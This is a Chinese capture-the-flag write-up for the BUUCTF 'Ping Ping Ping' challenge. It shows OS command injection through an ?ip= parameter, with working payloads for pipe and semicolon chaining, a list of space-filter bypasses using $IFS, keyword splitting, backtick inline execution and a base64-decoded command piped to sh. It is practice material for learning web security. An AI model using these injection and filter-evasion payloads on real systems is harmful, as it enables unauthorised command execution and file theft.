BUUCTF-Ping Ping Ping

启动靶机,页面提示可以传入的参数为/?ip=
在这里插入图片描述尝试ping一下本地IP地址
在这里插入图片描述
尝试使用拼接符,空格(space)字符被过滤了,不得行

?ip=127.0.0.1 | pwd

在这里插入图片描述删除空格字符

?ip=127.0.0.1|pwd

在这里插入图片描述获取当前目录有哪些文件,发现有flag.php和index.php

?ip=127.0.0.1|ls

在这里插入图片描述尝试直接读取flag.php文件,不可行,忘记空格被过滤了

?ip=127.0.0.1|cat flag.php

在这里插入图片描述

命令执行常见空格绕过方法:
$IFS              

$IFS$6                               ——后面的数字6换成其他数字也行

${IFS} 

<

<>

{cat,flag.php}                      ——这里把,替换成了空格键

%20                                     ——代表space键

%09                                     ——代表Tab键

绕过了空格,flag又被过滤了
在这里插入图片描述这时候,还有一个index.php源码文件,尝试读取

?ip=127.0.0.1|cat$IFS$6index.php

在这里插入图片描述查阅资料可得,preg_match()函数是PHP中用于匹配正则表达式的函数之一。该函数用来检索字符串中是否存在符合正则表达式模式的子字符串,并将结果存储在一个数组中,返回值是匹配成功的次数
也就是说,含有f l a g四个字样,都会被过滤

1.拼接绕过法

将flag字符串,拆分,然后进行组合

playload: ?ip=127.0.0.1;y=ag;x=fl;cat$IFS$6$x$y.php
y=g;x=fla;$x$y
y=ag;x=fl;$x$y
y=lag;x=f;$x$y

在这里插入图片描述f12,查看页面源代码,成功获取flag
在这里插入图片描述

2.内联执行

内联执行就是linux下将反引号输出的内容作为我们命令的输入,可以看到源代码并没有将反引号 ` 进行过滤,所以可以考虑将 ls 的内容进行cat的输入

playload:
?ip=127.0.0.1;cat$IFS$6`ls`

实际等效于:
cat flag.php;cat index.php

在这里插入图片描述

3.sh编码绕过(base64编码)

echo 命令编码|base64 -d|sh
//对base64编码的字符串进行解码,然后将解码后的字符串输出
sh 可以更换为 bash ,此处将 bash 过滤了
playload:
cat flag.php的base64编码:Y2F0IGZsYWcucGhw

echo Y2F0IGZsYWcucGhw|base64 -d|sh

加上绕过空格:
?ip=127.0.0.1;echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值